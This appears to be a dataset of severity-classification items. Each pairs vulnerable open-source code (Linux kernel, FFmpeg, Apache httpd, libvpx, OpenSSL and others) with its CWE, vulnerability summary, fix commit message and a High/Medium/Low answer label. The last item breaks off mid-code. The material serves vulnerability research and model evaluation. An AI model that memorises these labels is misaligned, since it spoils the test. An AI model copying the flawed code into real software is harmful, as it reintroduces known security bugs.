Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int klsi_105_get_line_state(struct usb_serial_port *port,
unsigned long *line_state_p)
{
int rc;
u8 *status_buf;
__u16 status;
dev_info(&port->serial->dev->dev, "sending SIO Poll request\n");
status_buf = kmalloc(KLSI_STATUSBUF_LEN, GFP_KERNEL);
if (!status_buf)
return -ENOMEM;
status_buf[0] = 0xff;
status_buf[1] = 0xff;
rc = usb_control_msg(port->serial->dev,
usb_rcvctrlpipe(port->serial->dev, 0),
KL5KUSB105A_SIO_POLL,
USB_TYPE_VENDOR | USB_DIR_IN,
0, /* value */
0, /* index */
status_buf, KLSI_STATUSBUF_LEN,
10000
);
if (rc < 0)
dev_err(&port->dev, "Reading line status failed (error = %d)\n",
rc);
else {
status = get_unaligned_le16(status_buf);
dev_info(&port->serial->dev->dev, "read status %x %x\n",
status_buf[0], status_buf[1]);
*line_state_p = klsi_105_status2linestate(status);
}
kfree(status_buf);
return rc;
}
Vulnerability Type: +Info
CWE ID: CWE-532
Summary: The klsi_105_get_line_state function in drivers/usb/serial/kl5kusb105.c in the Linux kernel before 4.9.5 places uninitialized heap-memory contents into a log entry upon a failure to read the line status, which allows local users to obtain sensitive information by reading the log.
Commit Message: USB: serial: kl5kusb105: fix line-state error handling
The current implementation failed to detect short transfers when
attempting to read the line state, and also, to make things worse,
logged the content of the uninitialised heap transfer buffer.
Fixes: abf492e7b3ae ("USB: kl5kusb105: fix DMA buffers on stack")
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable <[email protected]>
Reviewed-by: Greg Kroah-Hartman <[email protected]>
Signed-off-by: Johan Hovold <[email protected]> | Low | 168,389 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: bool TradQT_Manager::ParseCachedBoxes ( const MOOV_Manager & moovMgr )
{
MOOV_Manager::BoxInfo udtaInfo;
MOOV_Manager::BoxRef udtaRef = moovMgr.GetBox ( "moov/udta", &udtaInfo );
if ( udtaRef == 0 ) return false;
for ( XMP_Uns32 i = 0; i < udtaInfo.childCount; ++i ) {
MOOV_Manager::BoxInfo currInfo;
MOOV_Manager::BoxRef currRef = moovMgr.GetNthChild ( udtaRef, i, &currInfo );
if ( currRef == 0 ) break; // Sanity check, should not happen.
if ( (currInfo.boxType >> 24) != 0xA9 ) continue;
if ( currInfo.contentSize < 2+2+1 ) continue; // Want enough for a non-empty value.
InfoMapPos newInfo = this->parsedBoxes.insert ( this->parsedBoxes.end(),
InfoMap::value_type ( currInfo.boxType, ParsedBoxInfo ( currInfo.boxType ) ) );
std::vector<ValueInfo> * newValues = &newInfo->second.values;
XMP_Uns8 * boxPtr = (XMP_Uns8*) currInfo.content;
XMP_Uns8 * boxEnd = boxPtr + currInfo.contentSize;
XMP_Uns16 miniLen, macLang;
for ( ; boxPtr < boxEnd-4; boxPtr += miniLen ) {
miniLen = 4 + GetUns16BE ( boxPtr ); // ! Include header in local miniLen.
macLang = GetUns16BE ( boxPtr+2);
if ( (miniLen <= 4) || (miniLen > (boxEnd - boxPtr)) ) continue; // Ignore bad or empty values.
XMP_StringPtr valuePtr = (char*)(boxPtr+4);
size_t valueLen = miniLen - 4;
newValues->push_back ( ValueInfo() );
ValueInfo * newValue = &newValues->back();
newValue->macLang = macLang;
if ( IsMacLangKnown ( macLang ) ) newValue->xmpLang = GetXMPLang ( macLang );
newValue->macValue.assign ( valuePtr, valueLen );
}
}
return (! this->parsedBoxes.empty());
} // TradQT_Manager::ParseCachedBoxes
Vulnerability Type: DoS
CWE ID: CWE-835
Summary: An issue was discovered in Exempi before 2.4.4. The TradQT_Manager::ParseCachedBoxes function in XMPFiles/source/FormatSupport/QuickTime_Support.cpp allows remote attackers to cause a denial of service (infinite loop) via crafted XMP data in a .qt file.
Commit Message: | Medium | 165,364 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int yyinput (yyscan_t yyscanner)
#else
static int input (yyscan_t yyscanner)
#endif
{
int c;
struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
*yyg->yy_c_buf_p = yyg->yy_hold_char;
if ( *yyg->yy_c_buf_p == YY_END_OF_BUFFER_CHAR )
{
/* yy_c_buf_p now points to the character we want to return.
* If this occurs *before* the EOB characters, then it's a
* valid NUL; if not, then we've hit the end of the buffer.
*/
if ( yyg->yy_c_buf_p < &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[yyg->yy_n_chars] )
/* This was really a NUL. */
*yyg->yy_c_buf_p = '\0';
else
{ /* need more input */
yy_size_t offset = yyg->yy_c_buf_p - yyg->yytext_ptr;
++yyg->yy_c_buf_p;
switch ( yy_get_next_buffer( yyscanner ) )
{
case EOB_ACT_LAST_MATCH:
/* This happens because yy_g_n_b()
* sees that we've accumulated a
* token and flags that we need to
* try matching the token before
* proceeding. But for input(),
* there's no matching to consider.
* So convert the EOB_ACT_LAST_MATCH
* to EOB_ACT_END_OF_FILE.
*/
/* Reset buffer status. */
re_yyrestart(yyin ,yyscanner);
/*FALLTHROUGH*/
case EOB_ACT_END_OF_FILE:
{
if ( re_yywrap(yyscanner ) )
return EOF;
if ( ! yyg->yy_did_buffer_switch_on_eof )
YY_NEW_FILE;
#ifdef __cplusplus
return yyinput(yyscanner);
#else
return input(yyscanner);
#endif
}
case EOB_ACT_CONTINUE_SCAN:
yyg->yy_c_buf_p = yyg->yytext_ptr + offset;
break;
}
}
}
c = *(unsigned char *) yyg->yy_c_buf_p; /* cast for 8-bit char's */
*yyg->yy_c_buf_p = '\0'; /* preserve yytext */
yyg->yy_hold_char = *++yyg->yy_c_buf_p;
if ( c == '\n' )
do{ yylineno++;
yycolumn=0;
}while(0)
;
return c;
}
Vulnerability Type: DoS
CWE ID: CWE-476
Summary: libyara/lexer.l in YARA 3.5.0 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a crafted rule that is mishandled in the yy_get_next_buffer function.
Commit Message: re_lexer: Make reading escape sequences more robust (#586)
* Add test for issue #503
* re_lexer: Make reading escape sequences more robust
This commit fixes parsing incomplete escape sequences at the end of a
regular expression and parsing things like \xxy (invalid hex digits)
which before were silently turned into (char)255.
Close #503
* Update re_lexer.c | Medium | 168,487 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int flashsv_decode_frame(AVCodecContext *avctx, void *data,
int *got_frame, AVPacket *avpkt)
{
int buf_size = avpkt->size;
FlashSVContext *s = avctx->priv_data;
int h_blocks, v_blocks, h_part, v_part, i, j, ret;
GetBitContext gb;
int last_blockwidth = s->block_width;
int last_blockheight= s->block_height;
/* no supplementary picture */
if (buf_size == 0)
return 0;
if (buf_size < 4)
return -1;
init_get_bits(&gb, avpkt->data, buf_size * 8);
/* start to parse the bitstream */
s->block_width = 16 * (get_bits(&gb, 4) + 1);
s->image_width = get_bits(&gb, 12);
s->block_height = 16 * (get_bits(&gb, 4) + 1);
s->image_height = get_bits(&gb, 12);
if ( last_blockwidth != s->block_width
|| last_blockheight!= s->block_height)
av_freep(&s->blocks);
if (s->ver == 2) {
skip_bits(&gb, 6);
if (get_bits1(&gb)) {
avpriv_request_sample(avctx, "iframe");
return AVERROR_PATCHWELCOME;
}
if (get_bits1(&gb)) {
avpriv_request_sample(avctx, "Custom palette");
return AVERROR_PATCHWELCOME;
}
}
/* calculate number of blocks and size of border (partial) blocks */
h_blocks = s->image_width / s->block_width;
h_part = s->image_width % s->block_width;
v_blocks = s->image_height / s->block_height;
v_part = s->image_height % s->block_height;
/* the block size could change between frames, make sure the buffer
* is large enough, if not, get a larger one */
if (s->block_size < s->block_width * s->block_height) {
int tmpblock_size = 3 * s->block_width * s->block_height;
s->tmpblock = av_realloc(s->tmpblock, tmpblock_size);
if (!s->tmpblock) {
av_log(avctx, AV_LOG_ERROR, "Can't allocate decompression buffer.\n");
return AVERROR(ENOMEM);
}
if (s->ver == 2) {
s->deflate_block_size = calc_deflate_block_size(tmpblock_size);
if (s->deflate_block_size <= 0) {
av_log(avctx, AV_LOG_ERROR, "Can't determine deflate buffer size.\n");
return -1;
}
s->deflate_block = av_realloc(s->deflate_block, s->deflate_block_size);
if (!s->deflate_block) {
av_log(avctx, AV_LOG_ERROR, "Can't allocate deflate buffer.\n");
return AVERROR(ENOMEM);
}
}
}
s->block_size = s->block_width * s->block_height;
/* initialize the image size once */
if (avctx->width == 0 && avctx->height == 0) {
avcodec_set_dimensions(avctx, s->image_width, s->image_height);
}
/* check for changes of image width and image height */
if (avctx->width != s->image_width || avctx->height != s->image_height) {
av_log(avctx, AV_LOG_ERROR,
"Frame width or height differs from first frame!\n");
av_log(avctx, AV_LOG_ERROR, "fh = %d, fv %d vs ch = %d, cv = %d\n",
avctx->height, avctx->width, s->image_height, s->image_width);
return AVERROR_INVALIDDATA;
}
/* we care for keyframes only in Screen Video v2 */
s->is_keyframe = (avpkt->flags & AV_PKT_FLAG_KEY) && (s->ver == 2);
if (s->is_keyframe) {
s->keyframedata = av_realloc(s->keyframedata, avpkt->size);
memcpy(s->keyframedata, avpkt->data, avpkt->size);
}
if(s->ver == 2 && !s->blocks)
s->blocks = av_mallocz((v_blocks + !!v_part) * (h_blocks + !!h_part)
* sizeof(s->blocks[0]));
av_dlog(avctx, "image: %dx%d block: %dx%d num: %dx%d part: %dx%d\n",
s->image_width, s->image_height, s->block_width, s->block_height,
h_blocks, v_blocks, h_part, v_part);
if ((ret = ff_reget_buffer(avctx, &s->frame)) < 0)
return ret;
/* loop over all block columns */
for (j = 0; j < v_blocks + (v_part ? 1 : 0); j++) {
int y_pos = j * s->block_height; // vertical position in frame
int cur_blk_height = (j < v_blocks) ? s->block_height : v_part;
/* loop over all block rows */
for (i = 0; i < h_blocks + (h_part ? 1 : 0); i++) {
int x_pos = i * s->block_width; // horizontal position in frame
int cur_blk_width = (i < h_blocks) ? s->block_width : h_part;
int has_diff = 0;
/* get the size of the compressed zlib chunk */
int size = get_bits(&gb, 16);
s->color_depth = 0;
s->zlibprime_curr = 0;
s->zlibprime_prev = 0;
s->diff_start = 0;
s->diff_height = cur_blk_height;
if (8 * size > get_bits_left(&gb)) {
av_frame_unref(&s->frame);
return AVERROR_INVALIDDATA;
}
if (s->ver == 2 && size) {
skip_bits(&gb, 3);
s->color_depth = get_bits(&gb, 2);
has_diff = get_bits1(&gb);
s->zlibprime_curr = get_bits1(&gb);
s->zlibprime_prev = get_bits1(&gb);
if (s->color_depth != 0 && s->color_depth != 2) {
av_log(avctx, AV_LOG_ERROR,
"%dx%d invalid color depth %d\n", i, j, s->color_depth);
return AVERROR_INVALIDDATA;
}
if (has_diff) {
if (!s->keyframe) {
av_log(avctx, AV_LOG_ERROR,
"inter frame without keyframe\n");
return AVERROR_INVALIDDATA;
}
s->diff_start = get_bits(&gb, 8);
s->diff_height = get_bits(&gb, 8);
av_log(avctx, AV_LOG_DEBUG,
"%dx%d diff start %d height %d\n",
i, j, s->diff_start, s->diff_height);
size -= 2;
}
if (s->zlibprime_prev)
av_log(avctx, AV_LOG_DEBUG, "%dx%d zlibprime_prev\n", i, j);
if (s->zlibprime_curr) {
int col = get_bits(&gb, 8);
int row = get_bits(&gb, 8);
av_log(avctx, AV_LOG_DEBUG, "%dx%d zlibprime_curr %dx%d\n", i, j, col, row);
size -= 2;
avpriv_request_sample(avctx, "zlibprime_curr");
return AVERROR_PATCHWELCOME;
}
if (!s->blocks && (s->zlibprime_curr || s->zlibprime_prev)) {
av_log(avctx, AV_LOG_ERROR, "no data available for zlib "
"priming\n");
return AVERROR_INVALIDDATA;
}
size--; // account for flags byte
}
if (has_diff) {
int k;
int off = (s->image_height - y_pos - 1) * s->frame.linesize[0];
for (k = 0; k < cur_blk_height; k++)
memcpy(s->frame.data[0] + off - k*s->frame.linesize[0] + x_pos*3,
s->keyframe + off - k*s->frame.linesize[0] + x_pos*3,
cur_blk_width * 3);
}
/* skip unchanged blocks, which have size 0 */
if (size) {
if (flashsv_decode_block(avctx, avpkt, &gb, size,
cur_blk_width, cur_blk_height,
x_pos, y_pos,
i + j * (h_blocks + !!h_part)))
av_log(avctx, AV_LOG_ERROR,
"error in decompression of block %dx%d\n", i, j);
}
}
}
if (s->is_keyframe && s->ver == 2) {
if (!s->keyframe) {
s->keyframe = av_malloc(s->frame.linesize[0] * avctx->height);
if (!s->keyframe) {
av_log(avctx, AV_LOG_ERROR, "Cannot allocate image data\n");
return AVERROR(ENOMEM);
}
}
memcpy(s->keyframe, s->frame.data[0], s->frame.linesize[0] * avctx->height);
}
if ((ret = av_frame_ref(data, &s->frame)) < 0)
return ret;
*got_frame = 1;
if ((get_bits_count(&gb) / 8) != buf_size)
av_log(avctx, AV_LOG_ERROR, "buffer not fully consumed (%d != %d)\n",
buf_size, (get_bits_count(&gb) / 8));
/* report that the buffer was completely consumed */
return buf_size;
}
Vulnerability Type: DoS
CWE ID: CWE-20
Summary: The flashsv_decode_frame function in libavcodec/flashsv.c in FFmpeg before 2.1 does not properly validate a certain height value, which allows remote attackers to cause a denial of service (out-of-bounds array access) or possibly have unspecified other impact via crafted Flash Screen Video data.
Commit Message: avcodec/flashsv: check diff_start/height
Fixes out of array accesses
Fixes Ticket2844
Found-by: ami_stuff
Signed-off-by: Michael Niedermayer <[email protected]> | Medium | 165,924 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: xfs_attr3_leaf_lookup_int(
struct xfs_buf *bp,
struct xfs_da_args *args)
{
struct xfs_attr_leafblock *leaf;
struct xfs_attr3_icleaf_hdr ichdr;
struct xfs_attr_leaf_entry *entry;
struct xfs_attr_leaf_entry *entries;
struct xfs_attr_leaf_name_local *name_loc;
struct xfs_attr_leaf_name_remote *name_rmt;
xfs_dahash_t hashval;
int probe;
int span;
trace_xfs_attr_leaf_lookup(args);
leaf = bp->b_addr;
xfs_attr3_leaf_hdr_from_disk(&ichdr, leaf);
entries = xfs_attr3_leaf_entryp(leaf);
ASSERT(ichdr.count < XFS_LBSIZE(args->dp->i_mount) / 8);
/*
* Binary search. (note: small blocks will skip this loop)
*/
hashval = args->hashval;
probe = span = ichdr.count / 2;
for (entry = &entries[probe]; span > 4; entry = &entries[probe]) {
span /= 2;
if (be32_to_cpu(entry->hashval) < hashval)
probe += span;
else if (be32_to_cpu(entry->hashval) > hashval)
probe -= span;
else
break;
}
ASSERT(probe >= 0 && (!ichdr.count || probe < ichdr.count));
ASSERT(span <= 4 || be32_to_cpu(entry->hashval) == hashval);
/*
* Since we may have duplicate hashval's, find the first matching
* hashval in the leaf.
*/
while (probe > 0 && be32_to_cpu(entry->hashval) >= hashval) {
entry--;
probe--;
}
while (probe < ichdr.count &&
be32_to_cpu(entry->hashval) < hashval) {
entry++;
probe++;
}
if (probe == ichdr.count || be32_to_cpu(entry->hashval) != hashval) {
args->index = probe;
return XFS_ERROR(ENOATTR);
}
/*
* Duplicate keys may be present, so search all of them for a match.
*/
for (; probe < ichdr.count && (be32_to_cpu(entry->hashval) == hashval);
entry++, probe++) {
/*
* GROT: Add code to remove incomplete entries.
*/
/*
* If we are looking for INCOMPLETE entries, show only those.
* If we are looking for complete entries, show only those.
*/
if ((args->flags & XFS_ATTR_INCOMPLETE) !=
(entry->flags & XFS_ATTR_INCOMPLETE)) {
continue;
}
if (entry->flags & XFS_ATTR_LOCAL) {
name_loc = xfs_attr3_leaf_name_local(leaf, probe);
if (name_loc->namelen != args->namelen)
continue;
if (memcmp(args->name, name_loc->nameval,
args->namelen) != 0)
continue;
if (!xfs_attr_namesp_match(args->flags, entry->flags))
continue;
args->index = probe;
return XFS_ERROR(EEXIST);
} else {
name_rmt = xfs_attr3_leaf_name_remote(leaf, probe);
if (name_rmt->namelen != args->namelen)
continue;
if (memcmp(args->name, name_rmt->name,
args->namelen) != 0)
continue;
if (!xfs_attr_namesp_match(args->flags, entry->flags))
continue;
args->index = probe;
args->valuelen = be32_to_cpu(name_rmt->valuelen);
args->rmtblkno = be32_to_cpu(name_rmt->valueblk);
args->rmtblkcnt = xfs_attr3_rmt_blocks(
args->dp->i_mount,
args->valuelen);
return XFS_ERROR(EEXIST);
}
}
args->index = probe;
return XFS_ERROR(ENOATTR);
}
Vulnerability Type: DoS +Priv
CWE ID: CWE-19
Summary: The XFS implementation in the Linux kernel before 3.15 improperly uses an old size value during remote attribute replacement, which allows local users to cause a denial of service (transaction overrun and data corruption) or possibly gain privileges by leveraging XFS filesystem access.
Commit Message: xfs: remote attribute overwrite causes transaction overrun
Commit e461fcb ("xfs: remote attribute lookups require the value
length") passes the remote attribute length in the xfs_da_args
structure on lookup so that CRC calculations and validity checking
can be performed correctly by related code. This, unfortunately has
the side effect of changing the args->valuelen parameter in cases
where it shouldn't.
That is, when we replace a remote attribute, the incoming
replacement stores the value and length in args->value and
args->valuelen, but then the lookup which finds the existing remote
attribute overwrites args->valuelen with the length of the remote
attribute being replaced. Hence when we go to create the new
attribute, we create it of the size of the existing remote
attribute, not the size it is supposed to be. When the new attribute
is much smaller than the old attribute, this results in a
transaction overrun and an ASSERT() failure on a debug kernel:
XFS: Assertion failed: tp->t_blk_res_used <= tp->t_blk_res, file: fs/xfs/xfs_trans.c, line: 331
Fix this by keeping the remote attribute value length separate to
the attribute value length in the xfs_da_args structure. The enables
us to pass the length of the remote attribute to be removed without
overwriting the new attribute's length.
Also, ensure that when we save remote block contexts for a later
rename we zero the original state variables so that we don't confuse
the state of the attribute to be removes with the state of the new
attribute that we just added. [Spotted by Brain Foster.]
Signed-off-by: Dave Chinner <[email protected]>
Reviewed-by: Brian Foster <[email protected]>
Signed-off-by: Dave Chinner <[email protected]> | High | 166,737 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int read_request_line(request_rec *r, apr_bucket_brigade *bb)
{
const char *ll;
const char *uri;
const char *pro;
unsigned int major = 1, minor = 0; /* Assume HTTP/1.0 if non-"HTTP" protocol */
char http[5];
apr_size_t len;
int num_blank_lines = 0;
int max_blank_lines = r->server->limit_req_fields;
core_server_config *conf = ap_get_core_module_config(r->server->module_config);
int strict = conf->http_conformance & AP_HTTP_CONFORMANCE_STRICT;
int enforce_strict = !(conf->http_conformance & AP_HTTP_CONFORMANCE_LOGONLY);
if (max_blank_lines <= 0) {
max_blank_lines = DEFAULT_LIMIT_REQUEST_FIELDS;
}
/* Read past empty lines until we get a real request line,
* a read error, the connection closes (EOF), or we timeout.
*
* We skip empty lines because browsers have to tack a CRLF on to the end
* of POSTs to support old CERN webservers. But note that we may not
* have flushed any previous response completely to the client yet.
* We delay the flush as long as possible so that we can improve
* performance for clients that are pipelining requests. If a request
* is pipelined then we won't block during the (implicit) read() below.
* If the requests aren't pipelined, then the client is still waiting
* for the final buffer flush from us, and we will block in the implicit
* read(). B_SAFEREAD ensures that the BUFF layer flushes if it will
* have to block during a read.
*/
do {
apr_status_t rv;
/* ensure ap_rgetline allocates memory each time thru the loop
* if there are empty lines
*/
r->the_request = NULL;
rv = ap_rgetline(&(r->the_request), (apr_size_t)(r->server->limit_req_line + 2),
&len, r, 0, bb);
if (rv != APR_SUCCESS) {
r->request_time = apr_time_now();
/* ap_rgetline returns APR_ENOSPC if it fills up the
* buffer before finding the end-of-line. This is only going to
* happen if it exceeds the configured limit for a request-line.
*/
if (APR_STATUS_IS_ENOSPC(rv)) {
r->status = HTTP_REQUEST_URI_TOO_LARGE;
r->proto_num = HTTP_VERSION(1,0);
r->protocol = apr_pstrdup(r->pool, "HTTP/1.0");
}
else if (APR_STATUS_IS_TIMEUP(rv)) {
r->status = HTTP_REQUEST_TIME_OUT;
}
else if (APR_STATUS_IS_EINVAL(rv)) {
r->status = HTTP_BAD_REQUEST;
}
return 0;
}
} while ((len <= 0) && (++num_blank_lines < max_blank_lines));
if (APLOGrtrace5(r)) {
ap_log_rerror(APLOG_MARK, APLOG_TRACE5, 0, r,
"Request received from client: %s",
ap_escape_logitem(r->pool, r->the_request));
}
r->request_time = apr_time_now();
ll = r->the_request;
r->method = ap_getword_white(r->pool, &ll);
uri = ap_getword_white(r->pool, &ll);
/* Provide quick information about the request method as soon as known */
r->method_number = ap_method_number_of(r->method);
if (r->method_number == M_GET && r->method[0] == 'H') {
r->header_only = 1;
}
ap_parse_uri(r, uri);
if (ll[0]) {
r->assbackwards = 0;
pro = ll;
len = strlen(ll);
} else {
r->assbackwards = 1;
pro = "HTTP/0.9";
len = 8;
if (conf->http09_enable == AP_HTTP09_DISABLE) {
r->status = HTTP_VERSION_NOT_SUPPORTED;
r->protocol = apr_pstrmemdup(r->pool, pro, len);
/* If we deny 0.9, send error message with 1.x */
r->assbackwards = 0;
r->proto_num = HTTP_VERSION(0, 9);
r->connection->keepalive = AP_CONN_CLOSE;
ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02401)
"HTTP/0.9 denied by server configuration");
return 0;
}
}
r->protocol = apr_pstrmemdup(r->pool, pro, len);
/* Avoid sscanf in the common case */
if (len == 8
&& pro[0] == 'H' && pro[1] == 'T' && pro[2] == 'T' && pro[3] == 'P'
&& pro[4] == '/' && apr_isdigit(pro[5]) && pro[6] == '.'
&& apr_isdigit(pro[7])) {
r->proto_num = HTTP_VERSION(pro[5] - '0', pro[7] - '0');
}
else {
if (strict) {
ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02418)
"Invalid protocol '%s'", r->protocol);
if (enforce_strict) {
r->status = HTTP_BAD_REQUEST;
return 0;
}
}
if (3 == sscanf(r->protocol, "%4s/%u.%u", http, &major, &minor)
&& (strcasecmp("http", http) == 0)
&& (minor < HTTP_VERSION(1, 0)) ) { /* don't allow HTTP/0.1000 */
r->proto_num = HTTP_VERSION(major, minor);
}
else {
r->proto_num = HTTP_VERSION(1, 0);
}
}
if (strict) {
int err = 0;
if (ap_has_cntrl(r->the_request)) {
ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02420)
"Request line must not contain control characters");
err = HTTP_BAD_REQUEST;
}
if (r->parsed_uri.fragment) {
/* RFC3986 3.5: no fragment */
ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02421)
"URI must not contain a fragment");
err = HTTP_BAD_REQUEST;
}
else if (r->parsed_uri.user || r->parsed_uri.password) {
ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02422)
"URI must not contain a username/password");
err = HTTP_BAD_REQUEST;
}
else if (r->method_number == M_INVALID) {
ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02423)
"Invalid HTTP method string: %s", r->method);
err = HTTP_NOT_IMPLEMENTED;
}
else if (r->assbackwards == 0 && r->proto_num < HTTP_VERSION(1, 0)) {
ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02424)
"HTTP/0.x does not take a protocol");
err = HTTP_BAD_REQUEST;
}
if (err && enforce_strict) {
r->status = err;
return 0;
}
}
return 1;
}
Vulnerability Type: DoS
CWE ID:
Summary: The read_request_line function in server/protocol.c in the Apache HTTP Server 2.4.12 does not initialize the protocol structure member, which allows remote attackers to cause a denial of service (NULL pointer dereference and process crash) by sending a request that lacks a method to an installation that enables the INCLUDES filter and has an ErrorDocument 400 directive specifying a local URI.
Commit Message: *) SECURITY: CVE-2015-0253 (cve.mitre.org)
core: Fix a crash introduced in with ErrorDocument 400 pointing
to a local URL-path with the INCLUDES filter active, introduced
in 2.4.11. PR 57531. [Yann Ylavic]
Submitted By: ylavic
Committed By: covener
git-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1664205 13f79535-47bb-0310-9956-ffa450edef68 | Medium | 166,741 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void update_rate_histogram(struct rate_hist *hist,
const vpx_codec_enc_cfg_t *cfg,
const vpx_codec_cx_pkt_t *pkt) {
int i;
int64_t then = 0;
int64_t avg_bitrate = 0;
int64_t sum_sz = 0;
const int64_t now = pkt->data.frame.pts * 1000 *
(uint64_t)cfg->g_timebase.num /
(uint64_t)cfg->g_timebase.den;
int idx = hist->frames++ % hist->samples;
hist->pts[idx] = now;
hist->sz[idx] = (int)pkt->data.frame.sz;
if (now < cfg->rc_buf_initial_sz)
return;
then = now;
/* Sum the size over the past rc_buf_sz ms */
for (i = hist->frames; i > 0 && hist->frames - i < hist->samples; i--) {
const int i_idx = (i - 1) % hist->samples;
then = hist->pts[i_idx];
if (now - then > cfg->rc_buf_sz)
break;
sum_sz += hist->sz[i_idx];
}
if (now == then)
return;
avg_bitrate = sum_sz * 8 * 1000 / (now - then);
idx = (int)(avg_bitrate * (RATE_BINS / 2) / (cfg->rc_target_bitrate * 1000));
if (idx < 0)
idx = 0;
if (idx > RATE_BINS - 1)
idx = RATE_BINS - 1;
if (hist->bucket[idx].low > avg_bitrate)
hist->bucket[idx].low = (int)avg_bitrate;
if (hist->bucket[idx].high < avg_bitrate)
hist->bucket[idx].high = (int)avg_bitrate;
hist->bucket[idx].count++;
hist->total++;
}
Vulnerability Type: DoS Exec Code Overflow Mem. Corr.
CWE ID: CWE-119
Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792.
Commit Message: Merge Conflict Fix CL to lmp-mr1-release for ag/849478
DO NOT MERGE - libvpx: Pull from upstream
Current HEAD: 7105df53d7dc13d5e575bc8df714ec8d1da36b06
BUG=23452792
Change-Id: Ic78176fc369e0bacc71d423e0e2e6075d004aaec
| High | 174,500 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void StyleResolver::matchUARules(ElementRuleCollector& collector)
{
collector.setMatchingUARules(true);
if (CSSDefaultStyleSheets::simpleDefaultStyleSheet)
collector.matchedResult().isCacheable = false;
RuleSet* userAgentStyleSheet = m_medium->mediaTypeMatchSpecific("print")
? CSSDefaultStyleSheets::defaultPrintStyle : CSSDefaultStyleSheets::defaultStyle;
matchUARules(collector, userAgentStyleSheet);
if (document().inQuirksMode())
matchUARules(collector, CSSDefaultStyleSheets::defaultQuirksStyle);
if (document().isViewSource())
matchUARules(collector, CSSDefaultStyleSheets::viewSourceStyle());
collector.setMatchingUARules(false);
matchWatchSelectorRules(collector);
}
Vulnerability Type: DoS
CWE ID: CWE-399
Summary: The PDF functionality in Google Chrome before 24.0.1312.52 does not properly perform a cast of an unspecified variable during processing of the root of the structure tree, which allows remote attackers to cause a denial of service or possibly have unknown other impact via a crafted document.
Commit Message: Remove the Simple Default Stylesheet, it's just a foot-gun.
We've been bitten by the Simple Default Stylesheet being out
of sync with the real html.css twice this week.
The Simple Default Stylesheet was invented years ago for Mac:
http://trac.webkit.org/changeset/36135
It nicely handles the case where you just want to create
a single WebView and parse some simple HTML either without
styling said HTML, or only to display a small string, etc.
Note that this optimization/complexity *only* helps for the
very first document, since the default stylesheets are
all static (process-global) variables. Since any real page
on the internet uses a tag not covered by the simple default
stylesheet, not real load benefits from this optimization.
Only uses of WebView which were just rendering small bits
of text might have benefited from this. about:blank would
also have used this sheet.
This was a common application for some uses of WebView back
in those days. These days, even with WebView on Android,
there are likely much larger overheads than parsing the
html.css stylesheet, so making it required seems like the
right tradeoff of code-simplicity for this case.
BUG=319556
Review URL: https://codereview.chromium.org/73723005
git-svn-id: svn://svn.chromium.org/blink/trunk@162153 bbb929c8-8fbe-4397-9dbb-9b2b20218538 | Medium | 171,585 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: int dtls1_get_record(SSL *s)
{
int ssl_major,ssl_minor;
int i,n;
SSL3_RECORD *rr;
unsigned char *p = NULL;
unsigned short version;
DTLS1_BITMAP *bitmap;
unsigned int is_next_epoch;
rr= &(s->s3->rrec);
/* The epoch may have changed. If so, process all the
* pending records. This is a non-blocking operation. */
dtls1_process_buffered_records(s);
/* if we're renegotiating, then there may be buffered records */
if (dtls1_get_processed_record(s))
return 1;
/* get something from the wire */
again:
/* check if we have the header */
if ( (s->rstate != SSL_ST_READ_BODY) ||
(s->packet_length < DTLS1_RT_HEADER_LENGTH))
{
n=ssl3_read_n(s, DTLS1_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);
/* read timeout is handled by dtls1_read_bytes */
if (n <= 0) return(n); /* error or non-blocking */
/* this packet contained a partial record, dump it */
if (s->packet_length != DTLS1_RT_HEADER_LENGTH)
